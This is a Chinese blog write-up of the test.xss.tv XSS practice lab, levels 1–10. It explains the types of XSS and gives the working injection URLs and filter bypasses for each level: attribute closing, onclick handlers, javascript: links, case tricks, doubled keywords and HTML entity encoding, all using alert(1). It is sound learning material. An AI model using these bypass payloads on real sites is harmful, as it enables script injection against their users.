XSS闯关记录 超详细!

时间过的真快(。>︿<)一转眼大一就过去了。趁着这个暑假好好补补课,先练习一下XSS注入(ง •_•)ง →练习地址


1、关于XSS攻击:

XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

2、XSS类型
1)反射型XSS

反射型XSS只是简单地将用户输入的数据直接或未经完善的安全过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据。由于此种类型的跨站代码存在于URL中,所以黑客通常需要通过诱骗或加密变形等方式将存在恶意代码的链接发给用户,只有用户点击以后才能使得攻击成功实施。

2)存储型XSS

存储型XSS脚本攻击是指由于Web应用程序对用户输入数据的不严格,导致Web应用程序将黑客输入的恶意跨站攻击数据信息保存在服务端的数据库或其他文件形式中,当网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示,进而导致跨站脚本代码的执行。

3)DOM Based XSS

基于DOM的XSS跨站脚本攻击是通过修改页面。DOM节点数据信息而形成的XSS跨站脚本攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的Javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。

3、XSS攻击目的

1.XSS盗取用户信息
2.XSS盗取Cookie
3.XSS钓鱼攻击
4.XSS蠕虫攻击


好,说完这些就开始我们的闯关之路吧!

Level 1
在这里插入图片描述
第一题很简单,没有任何过滤,直接构造命令

http://test.xss.tv/level1.php?name= <script> alert(1) </script>test

在这里插入图片描述
该注入产生的原因是由于程序员没有过滤或用引号包裹参数,所输入代码被直接执行,导致形成XSS漏洞。

level 2
在这里插入图片描述
右键查看源码,发现
<input name=keyword value="test">
即需要构造闭合代码命令:
http://test.xss.tv/level2.php?keyword="><script>alert(1)</script>test
在这里插入图片描述
带有<input>标签的GET型XSS需要闭合参数才能进行注入。普通的GET型可直接被解析。

Level 3
在这里插入图片描述
先查看源码:

<input name=keyword  value=''>
<input type=submit name=submit value=搜索 />

这里接着使用上一关方法注入,但要注意的是表单提交并没有name=writing的 因此需要把wrting改成keyword
构造命令:
http://test.xss.tv/level3.php? keyword='><script>alert(1)</script>wait
然而并没有成功,产查看源码发现尖括号被解析了

<input name=keyword  value=''&gt;&lt;script&gt;alert(1)&lt;/script&gt;wait'>
<input type=submit name=submit value=搜索 />

因此这里我们采用 onclick触发事件 onclick 事件直接包含在<>内,可直接被执行。观察源代码为单引号,把value给闭合掉。
构造命令:

http://test.xss.tv/level3.php? keyword='onclick='javascript:alert(1)'

在这里插入图片描述
🆗注入成功,ps:onclick触发事件需要点击一下输入框才能被触发

Level 4
在这里插入图片描述
老套路,先查看网页源码,发现:

<form action=level4.php method=GET>
<input name=keyword  value="try harder!">

这里我们先采取一般的注入方法,发现和上题一样尖括号也被过滤了,接着使用onclick事件;注意这里的闭合方式为双引号。

在这里插入图片描述
ok,下一题

Level 5
在这里插入图片描述
同样的套路把上面的两种方法都试试,没有成功。查看源码:
在这里插入图片描述
发现这里对on 进行了过滤,变成了o_n,于是我们采用链接的形式进行注入
构造语句:

http://test.xss.tv/level5.php?keyword="><a href=javascript:alert(1)>

在这里插入图片描述
点一下那个链接就行了,好的,下一关(●’◡’●)
Level 6
在这里插入图片描述
这里我么们直接使用上题的注入方式,然后发现

<input name=keyword  value=" "><a hr_ef="javascript:alert(1)">">
<input name=keyword  value=" "o_nclick='javascript:alert(1)' ">
<input name=keyword  value=" "<scr_ipt> alert(1)</script>">

发现这里的href script onclick 都被过滤了 可以尝试下大小写绕过 。
构造命令如下

http://test.xss.tv/level6.php?keyword="ONclick="javascript:alert(1)"

在这里插入图片描述
好了,next

Level 7
在这里插入图片描述
同样的用上面三种方法进行注入,发现这题对 on href script 进行了完全屏蔽,但是魔高一尺,道高一丈( ̄︶ ̄)↗ 有人想出了双写绕过法。哈哈哈
构造命令如下:

http://test.xss.tv/level7.php?keyword="><sscriptcript>alert(1)</sscriptcript>

在这里插入图片描述
好的,下一关ヾ(≧▽≦*)o

Level 8
在这里插入图片描述
这题接着尝试用上述方法试试,发现这题过滤了" < > ,emm… 有点恶心,查看源码发现
在这里插入图片描述
这里有个友情链接,可以发现,这里相当于一个<a>标签注入,那么我们直接输入javascript:alert(1)试试 ;
在这里插入图片描述
可以看到这里script被转义,试试大写绕过,不行;这里介绍一种新的注入方法:HTML字符转换绕过地址 网上一搜一大堆,将script转换为16进制,10进制也行(还可以使用url编码等其他网页语言)
ps:这里要在输入框内输入。

java&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)

在这里插入图片描述
好的,下关。
Level 9
在这里插入图片描述
直接输入上题代码;发现不行,查看源码
在这里插入图片描述
emmm没啥头绪,查看别人的blog知道这需要加http://
构造命令

 java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1) // http://

在这里插入图片描述
ok 下关👇
Level 10
在这里插入图片描述
尝试了几种方法之后发现 这题很绝,没有输出点
查看源码:
在这里插入图片描述
在查看大佬的blog后知道了方法,首先构造代码

&t_link=" text" &t_history="text"&t_sort="text"

测试哪个可以注入
在这里插入图片描述
这里t_sort 就是注入点,构造命令(ps:代码中有隐藏的参数设置,把hidden改为text)

&t_sort=" type="text" onclick="alert()

在这里插入图片描述
好啦,下面几关需要抓包,暂时还不会,加上近期有点忙,以后有时间补上( ̄︶ ̄)↗ 。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 2058751973@qq.com

×

喜欢就点赞,疼爱就打赏